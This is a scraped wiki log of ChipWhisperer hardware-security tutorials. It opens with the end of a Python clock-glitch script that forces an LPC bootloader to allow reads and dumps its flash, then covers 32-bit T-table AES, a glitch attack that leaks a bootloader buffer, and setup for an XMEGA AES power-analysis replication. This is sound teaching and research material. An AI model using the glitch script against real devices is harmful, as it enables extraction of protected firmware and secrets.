scope.adc.basic_mode = "rising_edge"<br />
scope.clock.clkgen_freq = 100000000 * freq_multiplier<br />
scope.glitch.clk_src = "clkgen"<br />
scope.glitch.trigger_src = "ext_single"<br />
scope.glitch.output = "enable_only"<br />
<br />
target.baud = 38400<br />
target.key_cmd = ""<br />
target.go_cmd = ""<br />
target.output_cmd = ""<br />
<br />
<br />
# Glitcher<br />
class LPC_glitch(object):<br />
def __init__(self, scope, target):<br />
self.scope = scope<br />
self.target = target<br />
self.serial = target.ser<br />
<br />
def setup_bootloader(self, delay = 0.05):<br />
self.serial.flush()<br />
self.serial.write("?")<br />
#wait for full response, since we need to make sure we don't throw off baud calc<br />
self.read_line(0)<br />
<br />
self.serial.write("Synchronized\r\n")<br />
self.read_line(10)<br />
self.read_line(10)<br />
<br />
self.serial.write("12000\r\n")<br />
self.read_line(10)<br />
self.read_line(10)<br />
<br />
self.serial.write("A 0\r\n") #turn echo off<br />
self.read_line(10)<br />
<br />
self.serial.flush()<br />
<br />
def check_err_rtn(self, s):<br />
if "0" in s:<br />
return True<br />
else:<br />
#sometimes reading the error code fails for some reason, so don't do anything<br />
#about these unexpected returns<br />
if "19" not in s:<br />
print "Unexpected error code " + s<br />
return False<br />
<br />
def get_read_string(self, timeout = 10):<br />
self.serial.write("R 0 4\r\n")<br />
return self.read_line(timeout)<br />
<br />
<br />
<br />
'''<br />
read flash in rd_len byte increments and store in uu, binary, and ascii files<br />
NOTE: rd_len should be chosen so that it is less than 45 bytes (since we can<br />
only handle 1 line at a time) and uu to binary is a whole number<br />
(ie rd_len * 4 / 3 is a whole number), as the decode doesn't like padding bytes<br />
<br />
start_addr and length must be 4 byte aligned (so divisible by 4)<br />
<br />
If unsure, just use the defaults<br />
'''<br />
def dump_flash(self, start_addr = 0, length = 0x8000, rd_len = 24):<br />
if start_addr % 4:<br />
print "Address not 4 byte aligned!"<br />
return -1<br />
if length % 4:<br />
print "Length not 4 byte aligned!"<br />
return -1<br />
<br />
#eat data return and checksum<br />
self.read_line()<br />
self.read_line()<br />
self.serial.write("OK\r\n")<br />
<br />
time.sleep(0.1)<br />
<br />
uu_file = open("uu_flash.txt", "w")<br />
ascii_file = open("ascii_flash.txt", "w")<br />
bin_file = open("bin_flash.bin", "wb")<br />
<br />
print "Doing loop"<br />
for i in range(start_addr, start_addr + length - 1, rd_len):<br />
self.serial.write("R {:d} {:d}\r\n".format(i, rd_len))<br />
err = self.read_line()<br />
<br />
#only checking addr errors at this point<br />
if "13" in err:<br />
#addr err<br />
print "addr error: addr = {:d}".format(i)<br />
return -1<br />
<br />
flash = self.read_line(0)<br />
data_len = ord(flash[0]) - 32<br />
if rd_len != data_len:<br />
print "Unexpected data_len {:x}, expected {:x}".format(data_len, rd_len)<br />
print "Actual flash: " + flash<br />
<br />
# Bootloader uses ` instead of space for 0<br />
data = flash.replace('`', " ")<br />
checksum = self.read_line() #eat checksum for now, can check it later<br />
<br />
<br />
self.serial.write("OK\r\n")<br />
try:<br />
uu_file.write("0x{:08x}: ".format(i) + data + "\n")<br />
<br />
binary_data = binascii.a2b_uu(data)<br />
bin_file.write(binary_data)<br />
ascii_file.write("0x{:08x}: ".format(i) + binascii.hexlify(binary_data) + "\n")<br />
except binascii.Error, e:<br />
print "Invalid data: " + data<br />
print "\nError: " + str(e) + "\n"<br />
<br />
<br />
uu_file.close()<br />
bin_file.close()<br />
ascii_file.close()<br />
return 0<br />
<br />
def read_line(self, timeout = 10, term = '\n'):<br />
ch = " "<br />
s = ""<br />
while ch != "\n" and ch != "":<br />
ch = self.serial.read(1, timeout)<br />
s += ch<br />
return s<br />
<br />
def rst_low(self):<br />
self.scope.io.nrst = 'low'<br />
def rst_high(self):<br />
self.scope.io.nrst = 'high'<br />
<br />
glitcher = LPC_glitch(scope, target)<br />
<br />
Range = namedtuple("Range", ["min", "max", "step"])<br />
offset_range = Range(5180*freq_multiplier, 5185*freq_multiplier, 1)<br />
repeat_range = Range(8*freq_multiplier, 15*freq_multiplier, 1)<br />
<br />
scope.glitch.repeat = repeat_range.min<br />
print "Entering glitch loop"<br />
<br />
# it may take quite a few cycles to get a glitch, so just attempt until we get it<br />
while True:<br />
scope.glitch.ext_offset = offset_range.min<br />
if scope.glitch.repeat >= repeat_range.max:<br />
scope.glitch.repeat = repeat_range.min<br />
while scope.glitch.ext_offset < offset_range.max:<br />
<br />
glitcher.rst_low()<br />
<br />
scope.arm()<br />
<br />
glitcher.rst_high()<br />
<br />
timeout = 50<br />
while target.isDone() is False:<br />
timeout -= 1<br />
time.sleep(0.01)<br />
<br />
glitcher.setup_bootloader()<br />
<br />
s = glitcher.get_read_string()<br />
<br />
print "Read string: " + s<br />
print "Offset = {:04d}, Repeat = {:02d}".format(scope.glitch.ext_offset, scope.glitch.repeat)<br />
if glitcher.check_err_rtn(s):<br />
print "Success!"<br />
glitcher.dump_flash()<br />
cleanup_exit()<br />
scope.glitch.ext_offset += offset_range.step<br />
<br />
scope.glitch.repeat += repeat_range.step<br />
<br />
cleanup_exit()<br />
<br />
def cleanup_exit():<br />
scope.dis()<br />
target.dis()<br />
exit()<br />
<br />
</syntaxhighlight><br />
<br />
== Links ==<br />
<br />
{{Template:Tutorials}}</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_A8_32bit_AES&diff=3501Tutorial A8 32bit AES2018-05-01T18:51:08Z<p>Fheubach: </p>
<hr />
<div>Most of our previous tutorials were running on 8-bit modes of operation. We can target typical implementation on ARM devices which actually looks a little different.<br />
<br />
This tutorial is ONLY possible if you have an ARM target. For example the UFO Board with the STM32F3 target (or similar).<br />
<br />
== Background ==<br />
<br />
A 32-bit machine can operate on 32-bit words, so it seems wasteful to use the same 8-bit operations. Indeed we can speed up the AES operation considerably by generating several tables (called T-Tables), as was described in the book [http://www.springer.com/gp/book/9783540425809 The Design of Rijndael] which was published by the authors of AES.<br />
<br />
In order to take advantage of our 32 bit machine, we can examine a typical round of AES. With the exception of the final round, each round looks like:<br />
<br />
<math><br />
\mathbf{a} = \text{Round Input}<br />
</math><br />
<br />
<math><br />
\mathbf{b} = \text{SubBytes}(\mathbf{a})<br />
</math><br />
<br />
<math><br />
\mathbf{c} = \text{ShiftRows}(\mathbf{b})<br />
</math><br />
<br />
<math><br />
\mathbf{d} = \text{MixColumns}(\mathbf{c})<br />
</math><br />
<br />
<math><br />
\mathbf{a'} = \text{AddRoundKey}(d) = \text{Round Output}<br />
</math><br />
<br />
We'll leave AddRoundKey the way it is. The other operations are:<br />
<br />
<math><br />
b_{i,j} = \text{sbox}[a_{i,j}]<br />
</math><br />
<br />
<math><br />
\begin{bmatrix}<br />
c_{0,j} \\<br />
c_{1,j} \\<br />
c_{2,j} \\<br />
c_{3,j} <br />
\end{bmatrix}<br />
=<br />
\begin{bmatrix}<br />
b_{0, j+0} \\<br />
b_{1, j+1} \\<br />
b_{2, j+2} \\<br />
b_{3, j+3}<br />
\end{bmatrix}<br />
</math><br />
<br />
<math><br />
\begin{bmatrix}<br />
d_{0,j} \\<br />
d_{1,j} \\<br />
d_{2,j} \\<br />
d_{3,j} <br />
\end{bmatrix}<br />
=<br />
\begin{bmatrix}<br />
02 & 03 & 01 & 01 \\<br />
01 & 02 & 03 & 01 \\<br />
01 & 01 & 02 & 03 \\<br />
03 & 01 & 01 & 02<br />
\end{bmatrix}<br />
\times<br />
\begin{bmatrix}<br />
c_{0,j} \\<br />
c_{1,j} \\<br />
c_{2,j} \\<br />
c_{3,j} <br />
\end{bmatrix}<br />
</math><br />
<br />
Note that the ShiftRows operation <math>b_{i, j+c}</math> is a cyclic shift and the matrix multiplcation in MixColumns denotes the xtime operation in GF(<math>2^8</math>). <br />
<br />
It's possible to combine all three of these operations into a single line. We can write 4 bytes of <math>d</math> as the linear combination of four different 4 byte vectors:<br />
<br />
<math><br />
\begin{bmatrix}<br />
d_{0,j} \\<br />
d_{1,j} \\<br />
d_{2,j} \\<br />
d_{3,j} <br />
\end{bmatrix}<br />
=<br />
\begin{bmatrix}<br />
02 \\<br />
01 \\<br />
01 \\<br />
03<br />
\end{bmatrix}<br />
\text{sbox}[a_{0,j+0}]\ <br />
<br />
\oplus<br />
<br />
\begin{bmatrix}<br />
03 \\<br />
02 \\<br />
01 \\<br />
01<br />
\end{bmatrix}<br />
\text{sbox}[a_{1,j+1}]\ <br />
<br />
\oplus<br />
<br />
\begin{bmatrix}<br />
01 \\<br />
03 \\<br />
02 \\<br />
01<br />
\end{bmatrix}<br />
\text{sbox}[a_{2,j+2}]\ <br />
<br />
\oplus<br />
<br />
\begin{bmatrix}<br />
01 \\<br />
01 \\<br />
03 \\<br />
02<br />
\end{bmatrix}<br />
\text{sbox}[a_{3,j+3}]<br />
</math><br />
<br />
Now, for each of these four components, we can tabulate the outputs for every possible 8-bit input:<br />
<br />
<math><br />
T_0[a] = <br />
\begin{bmatrix}<br />
02 \times \text{sbox}[a] \\<br />
01 \times \text{sbox}[a] \\<br />
01 \times \text{sbox}[a] \\<br />
03 \times \text{sbox}[a] \\<br />
\end{bmatrix}<br />
</math><br />
<br />
<math><br />
T_1[a] = <br />
\begin{bmatrix}<br />
03 \times \text{sbox}[a] \\<br />
02 \times \text{sbox}[a] \\<br />
01 \times \text{sbox}[a] \\<br />
01 \times \text{sbox}[a] \\<br />
\end{bmatrix}<br />
</math><br />
<br />
<math><br />
T_2[a] = <br />
\begin{bmatrix}<br />
01 \times \text{sbox}[a] \\<br />
03 \times \text{sbox}[a] \\<br />
02 \times \text{sbox}[a] \\<br />
01 \times \text{sbox}[a] \\<br />
\end{bmatrix}<br />
</math><br />
<br />
<math><br />
T_3[a] = <br />
\begin{bmatrix}<br />
01 \times \text{sbox}[a] \\<br />
01 \times \text{sbox}[a] \\<br />
03 \times \text{sbox}[a] \\<br />
02 \times \text{sbox}[a] \\<br />
\end{bmatrix}<br />
</math><br />
<br />
These tables have 2^8 different 32-bit entries, so together the tables take up 4 kB. Finally, we can quickly compute one round of AES by calculating<br />
<br />
<math><br />
\begin{bmatrix}<br />
d_{0,j} \\<br />
d_{1,j} \\<br />
d_{2,j} \\<br />
d_{3,j} <br />
\end{bmatrix}<br />
=<br />
T_0[a_0,j+0] \oplus<br />
T_1[a_1,j+1] \oplus<br />
T_2[a_2,j+2] \oplus<br />
T_3[a_3,j+3]<br />
</math><br />
<br />
All together, with AddRoundKey at the end, a single round now takes 16 table lookups and 16 32-bit XOR operations. This arrangement is much more efficient than the traditional 8-bit implementation. There are a few more tradeoffs that can be made: for instance, the tables only differ by 8-bit shifts, so it's also possible to store only 1 kB of lookup tables at the expense of a few rotate operations.<br />
<br />
Note that T-tables don't have a big effect on AES from a side-channel analysis perspective. The SubBytes output is still buried in the T-tables and the other operations are linear, so it's still possible to attack 32-bit AES using the same 8-bit attack methods.<br />
<br />
== Building Firmware ==<br />
<br />
You will have to build with the <code>PLATFORM</code> set to one of the ARM targets (such as <code>CW308_STM32F0</code> for the STM32F0 victim, or <code>CW308_STM32F3</code> for the STM32F3 victim). If you haven't setup the ARM build environment see the page [[CW308T-STM32F#Example_Projects]]. Assuming your build environment is OK, you can build it as follows:<br />
<br />
cd chipwhisperer\hardware\victims\firmware\simpleserial-aes<br />
make PLATFORM=CW308_STM32F3 CRYPTO_TARGET=MBEDTLS<br />
<br />
If this works you should get something like the following:<br />
<br />
Creating Symbol Table: simpleserial-aes-CW308_STM32F3.sym<br />
arm-none-eabi-nm -n simpleserial-aes-CW308_STM32F3.elf > simpleserial-aes-CW308_<br />
STM32F3.sym<br />
Size after:<br />
text data bss dec hex filename<br />
8440 1076 10320 19836 4d7c simpleserial-aes-CW308_STM32F3.elf<br />
+--------------------------------------------------------<br />
+ Built for platform CW308T: STM32F3 Target<br />
+--------------------------------------------------------<br />
<br />
== Hardware Setup ==<br />
<br />
# Using a UFO board, connect your desired STM32Fx target:<br />
#: [[File:A8_hwsetup.jpg|600px]]<br />
# Before finishing the hardware setup, you should connect to the target device. To do this you can use one of the standard setup scripts. This will provide a clock & setup TX/RX lines as expected for the STM32F, which is required for the programmer to work.<br />
#: <br />
<br />
=== Programming STM32F Device ===<br />
<br />
{{:CW308T-STM32F/ChipWhisperer_Bootloader}}<br />
<br />
== Capturing Traces ==<br />
<br />
The capture process is similar to previous setups. After running the setup script, adjust the following settings:<br />
<br />
# Set the offset to by 0 samples:<br />
#: [[File:A8_offset.png|400px]]<br />
# Adjust the gain upward to get a good signal - note it will look VERY different from previous encryption examples:<br />
#: [[File:A8_traceexample.png|400px]]<br />
#Capture a larger (~500) number of traces.<br />
<br />
== Running Attack ==<br />
<br />
The attach is ran in the same manner as previous AES attacks, we use the same leakage assumptions as we don't actually care about the T-Table implementation. The resulting output vs. point location will look a little "messier", as shown here:<br />
<br />
[[File:A8_outputvspoint.png]]<br />
<br />
== Links ==<br />
<br />
{{Template:Tutorials}}<br />
[[Category:Tutorials]]</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_A7_Glitch_Buffer_Attacks&diff=3500Tutorial A7 Glitch Buffer Attacks2018-05-01T18:50:51Z<p>Fheubach: </p>
<hr />
<div>{{Warningbox|This tutorial has been updated for ChipWhisperer 4.0.0 release. If you are using 3.x.x see the "V3" link in the sidebar.}}<br />
<br />
{{Infobox tutorial<br />
|name = A7: Glitch Buffer Attacks<br />
|image = <br />
|caption = <br />
|software versions =<br />
|capture hardware = CW-Lite<br />
|Target Device = <br />
|Target Architecture = XMEGA<br />
|Hardware Crypto = No<br />
|Purchase Hardware = <br />
}}<br />
<br />
<br />
This tutorial discusses a specific type of glitch attack. It shows how a simple printing loop can be abused, causing a target to print some otherwise private information. This attack will be used to recover a plaintext without any knowledge of the encryption scheme being used.<br />
<br />
== Background ==<br />
This section introduces the attack concept by showing some real world examples of vulnerable firmware. Then, it describes the victim firmware that will be used in this tutorial. <br />
<br />
=== Real Firmware ===<br />
Typically, one of the slowest parts of an embedded system is its communication lines. It's pretty common to see a processor running in the MHz range with a serial connection of 96k baud. To make these two different speeds work together, embedded firmware usually fills up a buffer with data and lets a serial driver print on its own time. This setup means we can expect to see code like<br />
<pre><br />
for(int i = 0; i < number_of_bytes_to_print; i++)<br />
{<br />
print_one_byte_to_serial(buffer[i]);<br />
}<br />
</pre><br />
<br />
This is a pretty vulnerable piece of C. Imagine that we could sneak into the source code and change it to<br />
<pre><br />
for(int i = 0; i < really_big_number; i++)<br />
{<br />
print_one_byte_to_serial(buffer[i]);<br />
}<br />
</pre><br />
C compilers don't care that <code>buffer[]</code> has a limited size - this loop will happily print every byte it comes across, which could include other variables, registers, and even source code. Although we probably don't have a good way of changing the source code on the fly, we do have glitches: a well-timed clock or power glitch could let us skip the <code>i < number_of_bytes_to_print</code> check, which would have the same result.<br />
<br />
How could this be applied? Imagine that we have an encrypted firmware image that we're going to transmit to a bootloader. A typical communication process might look like:<br />
# We send the encrypted image ciphertexts over a serial connection<br />
# The bootloader decrypts the ciphertexts and stores the result somewhere in memory<br />
# The bootloader sends back a response over the serial port<br />
We have a pretty straightforward attack for this type of bootloader. During the last step, we'll apply a glitch at precisely the right time, causing the bootloader to print all kinds of things to the serial connection. With some luck, we'll be able to find the decrypted plaintext somewhere in this memory dump.<br />
<br />
== Bootloader Setup ==<br />
For this tutorial, a very simple bootloader using the SimpleSerial protocol has been set up. The source for this bootloader can be found in <code>chipwhisperer/hardware/victims/firmware/bootloader-glitch</code>. The following commands are used:<br />
* <code>pABCD\n</code>: Send an encrypted ciphertext to the bootloader. For example, this message is made up of the two bytes <code>AB</code> and <code>CD</code>.<br />
* <code>r0\n</code>: The reply from the bootloader. Acknowledges that a message was received. No other responses are used.<br />
* <code>x</code>: Clear the bootloader's received buffer. <br />
* <code>k</code>: See <code>x</code>.<br />
<br />
The bootloader uses triple-ROT-13 encryption to encrypt/decrypt the messages. To help you send messages to the target, the script <code>private/encrypt.py</code> prints the SimpleSerial command for a given fixed string. For example, the ciphertext for the string <code>Don't forget to buy milk!</code> is <br />
<pre><br />
p516261276720736265747267206762206f686c207a76797821\n<br />
</pre><br />
<br />
This folder also contains a Makefile to create a hex file for use with the ChipWhisperer hardware. The build process is the same as the previous tutorials: run <code>make</code> from the command line and make sure that everything built properly. If all goes well, the Makefile should print something like <br />
<pre><br />
----------------<br />
Device: atxmega128d3<br />
<br />
Program: 1706 bytes (1.2% Full)<br />
(.text + .data + .bootloader)<br />
<br />
Data: 248 bytes (3.0% Full)<br />
(.data + .bss + .noinit)<br />
<br />
<br />
Built for platform CW-Lite XMEGA<br />
<br />
-------- end --------<br />
</pre><br />
<br />
== The Attack Plan ==<br />
Since we have access to the source code, let's take our time and understand how our attack is going to work before we dive in.<br />
<br />
=== The Sensitive Code === <br />
Inside <code>bootloader.c</code>, there are two buffers that are used to store most of the important data. The source code shows:<br />
<pre><br />
#define DATA_BUFLEN 40<br />
#define ASCII_BUFLEN (2 * DATA_BUFLEN)<br />
<br />
uint8_t ascii_buffer[ASCII_BUFLEN];<br />
uint8_t data_buffer[DATA_BUFLEN];<br />
</pre><br />
This tells us that there will be two arrays stored somewhere in the target's memory. The AVR-GCC compiler doesn't usually try too hard to move these around, so we can expect to find them back-to-back in memory; that is, if we can read past the end of the ASCII buffer, we'll probably find the data buffer.<br />
<br />
Next, the code used to print a response to the serial port is<br />
<pre><br />
if(state == RESPOND)<br />
{<br />
// Send the ascii buffer back <br />
trigger_high();<br />
<br />
int i;<br />
for(i = 0; i < ascii_idx; i++)<br />
{<br />
putch(ascii_buffer[i]);<br />
}<br />
trigger_low();<br />
state = IDLE;<br />
}<br />
</pre><br />
This looks very similar to the example code given in the previous section, so it should be vulnerable to a glitching attack. The goal is to cause the loop to continue past its regular limit: <code>data_buffer[0]</code> is the same as <code>ascii_buffer[80]</code>, so a successful glitch should dump the data buffer for us.<br />
<br />
=== Disassembly ===<br />
As a final step, let's check the assembly code to see exactly what we're trying to glitch through. Run the command<br />
<pre><br />
avr-objdump -m avr -D bootloader.hex > disassembly.txt<br />
</pre><br />
and open <code>disassembly.txt</code>. If you know what to look for, you should find a snippet that looks something like:<br />
<pre><br />
376: 89 91 ld r24, Y+<br />
378: 0e 94 06 02 call 0x40c ; 0x40c<br />
37c: f0 e2 ldi r31, 0x20 ; 32<br />
37e: cf 37 cpi r28, 0x7F ; 127<br />
380: df 07 cpc r29, r31<br />
382: c9 f7 brne .-14 ; 0x376<br />
</pre><br />
This is our printing loop in assembly. It has the following steps in it:<br />
* Look at the address <code>Y</code> and put the contents into <code>r24</code>. Increase the address stored in <code>Y</code>. (This is the <code>i++</code> in the loop.)<br />
* Call the function in location <code>0x40c</code>. Presumably, this is the location of the <code>putch()</code> function.<br />
* Compare <code>r28</code> and <code>r29</code> to <code>0x7F</code> and <code>0x20</code>. Unless they're equal, go back to the top of the loop.<br />
There's one quirk to notice in this code. In the C source, the for loop checks whether <code>i < ascii_idx</code>. However, in the assembly code, the check is effectively whether <code>i == ascii_idx</code>! This is even easier to glitch - as long as we can break past the <code>brne</code> instruction ''once'', we'll get to the data buffer.<br />
<br />
== Attack Script & Results ==<br />
To speed up the tutorial, the script in [[#Appendix: Setup Script]] will open the ChipWhisperer Capture software and fill in all of the appropriate settings. Copy this code into a Python script and run it. Then, open the serial terminal and connect to the target, using the ASCII with Hex display mode. If everything is set up correctly, the Capture 1 button should cause the text <code>r0</code> to appear in the terminal. This is the bootloader's response to a block of ciphertext.<br />
<br />
Once this is set up, connect the glitch module's output to the target's clock. Do this by changing the <code>Target HS IO-Out</code> to <code>Glitch Module</code>. Try to Capture 1 again and watch the serial terminal. If you're lucky, a large amount of text will appear in this window:<br />
<pre><br />
r0<br />
261276720736265747267206762206f686c207a767978210000000000000000000000000000000000000000000000<br />
00000000000000Don't forget to buy milk!000000000000000000000000000000000000000000000000000000<br />
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000<br />
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000<br />
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000<br />
...<br />
<many more lines omitted> <br />
</pre><br />
In the middle of this output, the plaintext is clearly visible! The data buffer has successfully been printed to the serial port, allowing us to see the decrypted text with no knowledge of the algorithm.<br />
<br />
If you can't get this to work, remember that glitching is a very sensitive operation - one glitch timing will probably not work for every board on every day. Try using the glitch explorer to attack different ''Glitch Width''s, ''Glitch Offset''s, and ''Ext Trigger Offset''s. The built-in Glitch Explorer will be very useful here - take a read through [[Tutorial A2 Introduction to Glitch Attacks (including Glitch Explorer)]] if you need a refresher.<br />
<br />
== Ideas ==<br />
There's a lot more that can be done with this type of attack...<br />
<br />
=== Safer Assembly Code ===<br />
You may have been surprised to see that the assembly code uses a <code>brne</code> instruction to check if the loop is finished - after all, we used a less-than comparison in our C source code! Try changing this line to use a more prohibitive loop. Here's how you might do this:<br />
# Find a copy of the [http://www.atmel.com/webdoc/avrassembler/index.html AVR assembler documentation] and find a better instruction to use. You should be able to drop in the <code>brlt</code> instruction without much hassle. Figure out the new op-code for this instruction.<br />
# Open the <code>bootloader.hex</code> file and find the instruction you want to change. Swap in your new op-code. Note that each line of the hex file has a checksum at the end, so you'll need to [http://www.planetimming.com/checksum8.html calculate an updated checksum].<br />
# Upload your new bootloader onto the target and retry the attack. Does it still work? You might be able to see one extra byte from the ASCII buffer, but it will be very difficult to get to the data buffer. Can you change the glitch settings to complete the attack?<br />
<br />
=== Volatile Variables ===<br />
The reason why the original assembly code used the <code>brne</code> instruction is because GCC is an ''optimizing compiler''. The compiler doesn't directly translate the C source code into assembly instructions. Instead, it tries to determine if any of the code can be modified to make it faster or more compact. For instance, consider the loop<br />
<pre><br />
for(int i = 0; i < 10; i++)<br />
{<br />
if(i < 20)<br />
printf("%s", "Less");<br />
else<br />
printf("%s", "Greater");<br />
}<br />
</pre><br />
If you take a careful look at this code, you'll notice that the following loop will produce the same output:<br />
<pre><br />
for(int i = 0; i < 10; i++)<br />
{<br />
printf("%s", "Less");<br />
}<br />
</pre><br />
However, this second loop is smaller (less code) and faster (no conditional jumps). This is the kind of optimization a compiler can make.<br />
<br />
There are several ways we can stop the compiler from making some of these assumptions. One of these methods uses volatile variables, which look like<br />
<pre><br />
volatile int i;<br />
</pre><br />
A volatile variable is one that could change at any time. There could be many reasons why the value might change on us:<br />
* Another thread might have access to the same memory location<br />
* Another part of the computer might be able to change the variable's value (example: direct memory access)<br />
* The variable might not actually be stored anywhere - it could be a read-only register in an embedded system<br />
In any case, the <code>volatile</code> keyword tells the compiler to make no guarantees about this variable. <br />
<br />
Try changing the bootloader's source code to use a volatile variable inside the loop. What happens to the disassembly? Is the loop body longer? Connect to the target board and capture a power trace. Does it look different? You'll have to find a new ''Ext Trigger Offset'' for the glitch module. Can you still perform the attack? Is it feasible to use this fix to avoid glitching attacks?<br />
<br />
== Appendix: Setup Script ==<br />
The following script is used to set up the ChipWhisperer-Lite with all of the necessary settings:<br />
<pre><br />
<br />
# GUI compatibility<br />
try:<br />
scope = self.scope<br />
target = self.target<br />
except NameError:<br />
pass<br />
<br />
scope.glitch.clk_src = 'clkgen'<br />
scope.glitch.ext_offset = 68<br />
scope.glitch.width = 3.0<br />
scope.glitch.offset = -5.0<br />
scope.glitch.trigger_src = "ext_single"<br />
<br />
scope.gain.gain = 45<br />
scope.adc.samples = 500<br />
scope.adc.offset = 0<br />
scope.adc.basic_mode = "rising_edge"<br />
scope.clock.clkgen_freq = 7370000<br />
scope.clock.adc_src = "clkgen_x4"<br />
scope.trigger.triggers = "tio4"<br />
scope.io.tio1 = "serial_rx"<br />
scope.io.tio2 = "serial_tx"<br />
scope.io.hs2 = "glitch"<br />
<br />
target.go_cmd = "p516261276720736265747267206762206f686c207a76797821\\n"<br />
target.key_cmd = ""<br />
target.output_cmd = ""<br />
<br />
</pre><br />
<br />
== Links ==<br />
<br />
{{Template:Tutorials}}<br />
[[Category:Tutorials]]</div>Fheubachhttp://wiki.newae.com/index.php?title=Tutorial_A6_Replication_of_Ilya_Kizhvatov%27s_XMEGA%C2%AE_Attack&diff=3499Tutorial A6 Replication of Ilya Kizhvatov's XMEGA® Attack2018-05-01T18:50:33Z<p>Fheubach: </p>
<hr />
<div>This tutorial will demonstrate how the ChipWhisperer system can be used to replicate published academic research findings. In this case we will attempt to recreate an attack published by Dr. Ilya Kizhvatov, which was performed against the AES implementation in the Atmel® XMEGA® device.<br />
<br />
If using hardware-accelerated cryptography in your design, it is useful to understand possible vulnerabilities to side-channel power analysis attacks. It must be '''strongly''' cautioned that there are many published attacks against other hardware crypto accelerators: the XMEGA® device is likely about as secure as any other general-purpose hardware crypto accelerator (i.e. one without explicit side-channel resistance).<br />
<br />
Within the Atmel® product line some devices ''do'' mention side-channel analysis resistance. Thus when designing an embedded product, it's up to the designer to understand why they should care about side-channel analysis resistance, and to select an appropriate device if they need to defend against such an attack.<br />
<br />
== Background ==<br />
<br />
As a reference, you will need a copy of Dr. Kizhvatov's paper entitled &quot;Side Channel Analysis of AVR XMEGA Crypto Engine&quot;, published in the Proceedings of the 4th Workshop on Embedded Systems Security. If you have access to the ACM Digital Library (most likely because you are part of a university), you can read this paper on the [http://dl.acm.org/citation.cfm?id=1631724 ACM Digital Library].<br />
<br />
Otherwise, you can read this paper as part of Chapter 4 of Dr. Kizhvatov's [http://www.iacr.org/phds/106_ilyakizhvatov_physicalsecuritycryptographica.pdf PhD Thesis], starting around page 77 of that PDF file.<br />
<br />
== Setting up the Hardware ==<br />
<br />
This tutorial can use either the [[CW1173_ChipWhisperer-Lite]], [[CW1200_ChipWhisperer-Pro]], or [[CW1002_ChipWhisperer_Capture_Rev2]] hardware along with the [[CW301_Multi-Target]] board. Note that you '''don't need hardware''' to complete the tutorial. Instead you can download [https://www.assembla.com/spaces/chipwhisperer/wiki/Example_Captures example traces from the ChipWhisperer Site], just look for the traces titled ''XMEGA: AES128 Hardware Accelerator (ChipWhisperer Tutorial #A6)''.<br />
<br />
'''NOTE: The ChipWhisperer-Lite Target Board contains an XMEGA device, but this device DOES NOT contain the hardware crypto engine. Only the CW301 Multi-Target board contains an XMEGA with a hardware AES engine.'''<br />
<br />
This example uses the XMEGA Device. You can see instructions for programming in the [[Installing ChipWhisperer]] section, this tutorial assumes you have the programmer aspect working.<br />
<br />
The Multi-Target board should be plugged into the ChipWhisperer Capture via the 20-pin target cable. The ''VOUT'' SMA connector is wired to the ''LNA'' input on the ChipWhisperer-Capture Rev2 front panel. The hardware setup is slightly different for the ChipWhisperer-Lite/Pro and older Capture-Rev2:<br />
<br />
=== Using ChipWhisperer-Lite / ChipWhisperer-Pro ===<br />
<br />
# 20-Pin Header connects Multi-Target to Capture Hardware<br />
# VOUT Connects to SMA Cable<br />
# SMA Cable connects to 'LNA' on CHA input<br />
<br />
Jumpers on the Multi-Target Victim board are as follows:<br />
<br />
[[File:xmegajumpers_cwlite.jpg]]<br />
<br />
# NO jumpers mounted in AVR Portion (JP1,JP4-6,JP28) or SmartCard Portion. Note if your multi-target board does not have JP28, the TRIG jumper for the AVR, you will have to remove the AVR from the socket.<br />
# 3.3V IO Level (JP20 set to INT.)<br />
# FPGAOUT is routed to XTAL1 pin of XMEGA (requires jumper wire to JP4/JP15).<br />
# The 7.37 MHz oscillator is not connected (JP18)<br />
# The TXD &amp; RXD jumpers are set on the XMEGA portion (JP5, JP6)<br />
# The TRIG jumper is set on the XMEGA portion (JP13)<br />
# The PWR jumper is set on the XMEGA portion (JP14)<br />
# Power measurement taken from VCC shunt (JP12)<br />
<br />
=== Using Capture Rev 2 ===<br />
<br />
# 20-Pin Header connects Multi-Target to Capture Hardware<br />
# VOUT Connects to SMA Cable<br />
# SMA Cable connects to 'LNA' on CHA input<br />
# USB-Mini connects to side (NB: Confirm jumper settings in next section first)<br />
<br />
Jumpers on the Multi-Target Victim board are as follows:<br />
<br />
[[File:xmegajumpers.jpg|image]]<br />
<br />
# NO jumpers mounted in AVR Portion (JP1,JP4-6,JP28) or SmartCard Portion. Note if your multi-target board does not have JP28, the TRIG jumper for the AVR, you will have to remove the AVR from the socket.<br />
# 3.3V IO Level (JP20 set to INT.)<br />
# The 7.37 MHz oscillator is selected as the CLKOSC source (JP18)<br />
# The CLKOSC is routed to the FPGAIN pin (requires jumper wire on JP17), along with routed to XTAL1 pin of XMEGA (requires jumper wire to JP4/JP15).<br />
# The TXD &amp; RXD jumpers are set on the XMEGA portion (JP5, JP6)<br />
# The TRIG jumper is set on the XMEGA portion (JP13)<br />
# The PWR jumper is set on the XMEGA portion (JP14)<br />
# Power measurement taken from VCC shunt (JP12)<br />
<br />
For more information on these jumper settings see the XMEGA section of [[CW301_Multi-Target]].<br />
<br />
=== Building/Programming the XMEGA Target ===<br />
<br />
Once you have one of the above setups working, you need to program the device. We'll first double-check the communication using our classic software AES, then enable the hardware crypto module.<br />
<br />
As described in [[Installing ChipWhisperer]], you'll need to configure the AVR-GCC compiler. Assuming you have this setup, you can run <code>make</code> in the directory <code>chipwhisperer\hardware\victims\firmware\simpleserial-aes</code>. Before doing that, edit the <code>makefile</code> to select the CW301 XMEGA target. This is done by uncommenting the "CW301_XMEGA" platform define as follows:<br />
<br />
<pre>#Multi-Target Board, AVR Device (ATMega328P)<br />
#PLATFORM = CW301_AVR<br />
<br />
#Multi-Target Board, XMEGA Device<br />
PLATFORM = CW301_XMEGA<br />
<br />
#CW-Lite XMEGA Target Device (XMEGA128D4)<br />
#PLATFORM = CW303<br />
<br />
#NOTDUINO Kit (ATMega328P)<br />
#PLATFORM = CW304</pre><br />
<br />
Running <pre>make</pre> should give you an output indicating the Multi-Target board was used:<br />
<br />
<pre>Size after:<br />
AVR Memory Usage<br />
----------------<br />
Device: atxmega16a4<br />
<br />
Program: 3100 bytes (2.2% Full)<br />
(.text + .data + .bootloader)<br />
<br />
